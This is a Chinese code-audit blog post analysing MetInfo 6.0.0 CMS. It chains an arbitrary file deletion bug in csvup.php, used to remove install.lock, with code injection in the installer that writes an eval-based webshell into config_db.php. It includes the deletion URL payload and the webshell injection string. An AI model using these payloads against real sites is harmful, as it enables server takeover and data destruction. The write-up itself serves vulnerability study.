代码审计之MetInfo6.0组合拳

admin 2023年11月8日18:40:01代码审计之MetInfo6.0组合拳已关闭评论31 views字数 4860阅读16分12秒阅读模式

任意文件删除漏洞对于部分cms来说可能会存在较大危害的存在,现在部分cms在安装前都是会验证是否存在install.lock,比如以下代码:

<?php
// metinfo6.0.0的index.php
if(!file_exists('./config/install.lock')){
if(file_exists('./install/index.php')){
header("location:./install/index.php");exit;
}
else{
header("Content-type: text/html;charset=utf-8");
echo "安装文件不存在,请上传安装文件。如已安装过,请新建config/install.lock文件。";
die();
}
}
?>

如果删除该文件的话,再重新进入index.php就会被重新安装!即使重新安装的影响对于当前情况来说危害并不大,但是任意文件删除不仅仅只是删除install.lock的,同时也是可以涉猎到其他文件,如果删除了关键的系统文件,那么就可能导致服务器系统损坏!

任意文件删除

漏洞分析

metinfo6.0.0就存在严重的任意文件删除漏洞,漏洞文件在/admin/app/batch/csvup.php中,其中有一行代码是@file_unlink(\$flienamecsv);,file_unlink并不是php自带的函数,但是从字面上的意思上来看,应该是一个删除文件的函数,找到该函数所在的文件进一步验证自己的猜想,使用seay源码审计全局搜索找到了该函数的位置,文件位置位于:/admin/include/global.func.php

```
function file_unlink($file_name) {
if(stristr(PHP_OS,"WIN")){
$file_name=@iconv("utf-8","gbk",$file_name);
}
if(file_exists($file_name)) {
//@chmod($file_name,0777);
$area_lord = @unlink($file_name);
}
return $area_lord;
}

```

显而易见,有一个unlink函数,该函数就是用来删除文件的,验证了自己的猜想后,回到csvup.php文件中,看看是怎么进行传参和是否有过滤的条件等;

关键代码:

```
<?php
$depth='../';
require_once $depth.'../login/login_check.php';
setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030'));
$codeold='gbk';
$codenew='utf-8';
$classflie=explode('_',$fileField);
$classflie=explode('-',$classflie[count($classflie)-1]);
$class1=$classflie[0];
$class2=$classflie[1];
$class3=$classflie[2];
$class=$class3?$class3:($class2?$class2:$class1);
$classcsv=$db->get_one("select * from $met_column where id=$class");
//if(!$classcsv){
//metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
//}

$table=moduledb($classcsv['module']);
$file = fopen($flienamecsv,'r');
$fdata=fgetcsv($file);
foreach($fdata as $key=>$val){
if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;}
}
$numcsv=0;
while ($data = fgetcsv($file)){
$staticone=iconv($codeold,$codenew,$data[$staticnum]);
if($staticone!=NULL){
$static[$numcsv+1]=$staticone;
$static_copy[]=$staticone;
}
$dataqrray[]=$data;
$numcsv++;
}

fclose($file);
@file_unlink($flienamecsv);
?>

```

看起来代码很多,实际上审计一遍,处理\$flienamecsv的代码行屈指可数:

```
$file = fopen($flienamecsv,'r');
$fdata=fgetcsv($file);

......

fclose($file);
@file_unlink($flienamecsv);

```

中间的省略号一点都不影响file_unlink的执行,并不是过滤代码,所以问题不大,现在问题是\$flienamecsv怎么传入,根据上面的完整代码,并没有看到传参的地方,理论上来说,没有传参点的话,参数并不会进入代码,但是payload中,是直接对\$flienamecsv进行赋值传入,所以肯定是地方传入,且不限于当前文件,对代码进行调试:

代码审计之MetInfo6.0组合拳

在左边的参数框中,发现了我们传入的flienamecsv赋给了\$_key,获得了该参数后使用seay源码审计系统进行全局搜索:

代码审计之MetInfo6.0组合拳

找到了三个相关的文件,分别是:common.inc.php | common.class.php | index.php但是具体是哪个有待确认,此时要注意的是,如果在某个文件包含了另外一个文件,那么就会继承被包含的文件所有可能被调用代码,回到csvup.php中看,发现全文就包含了一个文件:

require_once $depth.'../login/login_check.php';

由于没有其他的突破点,那就只能跟进这个文件看看有没有包含上面三个文件之一

打开文件后,映入眼帘的就是\$commonpath=\$depth.'include/common.inc.php';,说明login_check.php是包含了common.inc.php,并且csvup.php也包含了login_check.php,相当于csvup.php也包含了common.inc.php,理清楚后,继续跟进common.inc.php,看看传入flienamecsv的原理是什么!!

进入文件后搜索\$_key

代码审计之MetInfo6.0组合拳

```
foreach(array('COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '
' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key]=daddslashes($_value,0,0,1);
}
//$_M['form']['name'] = "vFREE";
}

```

首先第一行foreach先对array数组进行循环取值赋给\$_request,然后在第二个foreach中,\$_request前还有一个\$,相当于每个值进行循环后,就分别变成了\$_COOKIE,\$_GET,\$_POST,然后这三个都是全局变量,不管这三种方式以各自的形式传入什么值都能被相应获取到,获取到之后,会被以别名的形式,将传入的变量名赋予\$_key,传入的变量就赋予\$_value。

接着就是检查\$_key首个字符是否是下划线,如果不是,就对其进行赋值,假如我们此时通过GET的方式传入/?flienamecsv=1.txt,那么被$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);处理后,就变成了$flienamecsv=1.txt,\$\$_key的意思就是类似于拼接,将\$_key的值拼接到前面的\$后面,后面的daddslashes(\$_value,0,0,1);也是调用了global.func.php中的代码,如下:

function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}

根据关键代码addslashes就能知道是对某些特定字符前面添加一个反斜线!具体可以去了解一下该函数,这里就不展开说啦!

分析到这里,已经很清楚整个代码处理的逻辑关系!!!

漏洞复现

先准备任意一个文件,我准备在了和csvup.php同目录下的1.txt,然后构造payload:

http://127.0.0.1/admin/app/batch/csvup.php?flienamecsv=1.txt

代码审计之MetInfo6.0组合拳

显示已经删除,不存在1.txt,除此之外,post和cookie的方式也可以利用!

任意代码写入

漏洞分析

在安装页面中,也存在一个极其严重的漏洞,文件:/install/index.php

if($setup==1){
$db_prefix=trim($db_prefix);
if(strstr($db_host, ":")){
$arr = explode(":", $db_host);
$db_host = $arr[0];
$db_port = $arr[1];
}else{
$db_host=trim($db_host);
$db_port="3306";
}
$db_username= trim($db_username);
$db_pass=trim($db_pass);
$db_name=trim($db_name);
$db_port=trim($db_port);
$config="<?php
/*
con_db_host = \"$db_host\"
con_db_port = \"$db_port\"
con_db_id = \"$db_username\"
con_db_pass= \"$db_pass\"
con_db_name = \"$db_name\"
tablepre = \"$db_prefix\"
db_charset = \"utf8\";
*/
?>";

这段代码中可以看到,当存储用户填入的信息是直接拼接的,没有对其进行合法性的验证,这个时候只需要在任意地方构造payload:*/@eval(\$_POST[1]);/*传入即可,在传入之后,不管对不对,都会先将内容写入到文件中,然后再去验证信息是否正确!

漏洞复现

打开安装页面,将payload写入进去,我这里写在数据库密码框中:

代码审计之MetInfo6.0组合拳

然后点击“保存数据库设置并继续”,然后去查看/config/config_db.php,理论上来说,没有发生意外的话,效果如下:

代码审计之MetInfo6.0组合拳

如此一来就可以用webshell连接工具进行连接,完成getshell操作

总结

多利用组合拳实现漏洞危害最大化,像此文一样,先用任意文件删除漏洞将install.lock删除掉,然后利用安装页面写入shell。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月8日18:40:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计之MetInfo6.0组合拳https://cn-sec.com/archives/2187912.html